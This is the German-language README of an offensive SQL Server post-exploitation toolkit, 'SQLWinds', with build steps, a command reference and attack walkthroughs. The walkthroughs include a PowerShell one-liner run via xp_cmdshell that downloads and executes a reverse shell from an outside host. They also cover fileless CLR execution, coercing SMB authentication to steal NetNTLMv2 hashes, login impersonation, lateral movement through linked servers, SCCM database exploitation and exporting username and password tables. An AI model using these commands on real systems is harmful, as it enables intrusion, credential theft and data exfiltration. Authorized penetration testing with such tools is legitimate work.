
SQLWinds - SQL Server-Sicherheitsbewertung & Post-Exploitation-Toolkit
Toolkit für SQL-Sicherheitsbewertung und Post-Exploitation
SQLWinds ist ein Befehlszeilentool für Sicherheitstests und die Ausnutzung von Microsoft SQL Server. Es bietet eine interaktive Umgebung, um Server eingehend zu analysieren, Privilegien zu erweitern, Angriffe auszuführen und sich durch Netzwerke zu bewegen – alles mit spezialisierten Befehlen für Aufgaben wie In-Memory-Codeausführung und SCCM-Datenbankerkundung.
Schnellzugriff:
--integrated) und Kerberos-Delegierung (--kerberos mit --user/--pass).xp_cmdshell, OLE-Automatisierungsprozeduren (sp_oacreate) und CLR-Integration.:memclr).:unc_smb).xp_regread lesen.Das Repository enthält ein build.bat-Skript für die einfache Kompilierung unter Windows:
.\build.bat
Die kompilierte ausführbare Datei SQLWinds.exe wird im Verzeichnis bin\Release\ abgelegt.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain für große SkripteDer Befehl :plain ist unerlässlich für die Ausführung großer, mehrzeiliger SQL-Skripte.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain ein und drücken Sie die Eingabetaste.:execute ein, um das gesamte Skript auszuführen, oder :cancel, um abzubrechen.1. Audit
SQLWinds.exe --server dc01 --integrated --security-audit
2. Nutzung von xp_cmdshell für die Codeausführung
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. In-Memory-CLR-Ausführung (dateilos)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. Stehlen von NetNTLMv2-Hashes über SRelay
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. Ausnutzung der SCCM-Datenbank
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. Datenexfiltration
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
Wir freuen uns über Beiträge! Wenn Sie Ideen für Verbesserungen haben oder Probleme finden:
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke gedacht. Die nicht autorisierte Verwendung gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Genehmigung haben, ist illegal. Die Entwickler übernehmen keine Haftung und sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Programm verursacht werden.
Entwickelt von blue0x1.
| Option | Beschreibung |
|---|
--server | Zielserver (IP, Hostname, Instanz). Erforderlich. |
--user, --pass | Anmeldedaten für SQL- oder Windows-Authentifizierung. |
--integrated | Aktuelles Windows-Token für die Authentifizierung verwenden. |
--kerberos | Kerberos-Authentifizierungsablauf verwenden. |
--spn-check | AD nach SPNs für den Zielhost durchsuchen. |
--run-cmd "<SQL>" | Ein einzelnes SQL-Kommando ausführen und beenden. |
--run-file file.sql | Ein SQL-Skript aus einer Datei ausführen und beenden. |
--info | Umfangreiche Serverinformationen sammeln und anzeigen. |
--getinstance | SQL-Instanzen in der Domäne ermitteln und beenden. |
--list-dbs | Datenbanken auflisten und beenden. |
--security-audit | Sicherheitsaudit durchführen und beenden. |
| Befehl | Beschreibung | Beispiel |
|---|
:info | Detaillierte Serverinformationen anzeigen | :info |
:dbs | Alle Datenbanken mit Details auflisten | :dbs |
:tables [db] [schema] | Tabellen in Datenbank/Schema auflisten | :tables master dbo |
:columns <table> [schema] [db] | Spalten für eine Tabelle auflisten | :columns Users dbo MyDatabase |
:users | Alle SQL-Anmeldungen und Datenbankbenutzer auflisten | :users |
:perms | Aktuelle Benutzerberechtigungen anzeigen | :perms |
:audit | Sicherheitskonfigurations-Audit durchführen | :audit |
:search [term] | Nach sensiblen Daten suchen | :search password |
:secrets | Mögliche Geheimnisse extrahieren | :secrets |
:services | SQL-Server-Dienstkonten anzeigen | :services |
:spn | SPNs für den Zielhost prüfen | :spn |
:enable_xp_cmdshell | xp_cmdshell aktivieren | :enable_xp_cmdshell |
:disable_xp_cmdshell | xp_cmdshell deaktivieren | :disable_xp_cmdshell |
:xp <command> | Betriebssystembefehl über xp_cmdshell ausführen | :xp whoami |
:enable_ole | OLE-Automatisierung aktivieren | :enable_ole |
:disable_ole | OLE-Automatisierung deaktivieren | :disable_ole |
:ole_cmd <command> | Betriebssystembefehl über OLE ausführen | :ole_cmd "calc.exe" |
:enable_clr | CLR-Integration aktivieren | :enable_clr |
:disable_clr | CLR-Integration deaktivieren | :disable_clr |
:deploy-clr <path> | CLR-Assembly aus Datei bereitstellen | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | Bereitgestellte CLR-Assemblys auflisten | :list-assemblies |
:clr_exec | Eine CLR-Methode ausführen | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | CLR-Assembly aus dem Speicher ausführen | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | Eine CLR-Assembly entfernen | :remove-assembly MyAssembly |
:list_linkservers | Linked Server auflisten | :list_linkservers |
:linkrpc <srv> <cmd> | Befehl über Linked Server ausführen | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | Eine SQL-Anmeldung impersonieren | :impersonate sa |
:revert | Sicherheitskontext zurücksetzen | :revert |
:agent_job | SQL-Agent-Aufträge verwalten | :agent_job create MyJob "whoami" |
:ls [path] | Verzeichnis über SQL auflisten | :ls C:\Windows\Temp |
:unc_smb <path> | SMB-Authentifizierung gegen UNC erzwingen | :unc_smb \\192.168.1.100\share |
:plain | Große SQL-Skripte einfügen | (Siehe Beispiel unten) |
:regread | Registrierungswert lesen | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | Alle Werte in einem Schlüssel auflisten | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | Datei in Tabelle hochladen | :upload C:\file.txt MyTable |
:download | Binärdatei aus Abfrage herunterladen | :download "SELECT file FROM blobs" out.bin |
:exportcsv | Abfrage als CSV exportieren | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | Abfrage als JSON exportieren | :exportjson "SELECT * FROM users" out.json |
:sccm_info | SCCM-Datenbank erkennen | :sccm_info |
:sccm_inventory | SCCM-Inventar anzeigen | :sccm_inventory |
:sccm_collections | SCCM-Sammlungen auflisten | :sccm_collections "All Systems" |
:sccm_deployments | Bereitstellungen anzeigen | :sccm_deployments |
:sccm_clients | Clients auflisten | :sccm_clients inactive |
:sccm_audit | SCCM-Sicherheitsaudit | :sccm_audit |
:sccm_application | App-Details anzeigen | :sccm_application "Google Chrome" |
help | Hilfe anzeigen | help |
exit | REPL beenden | exit |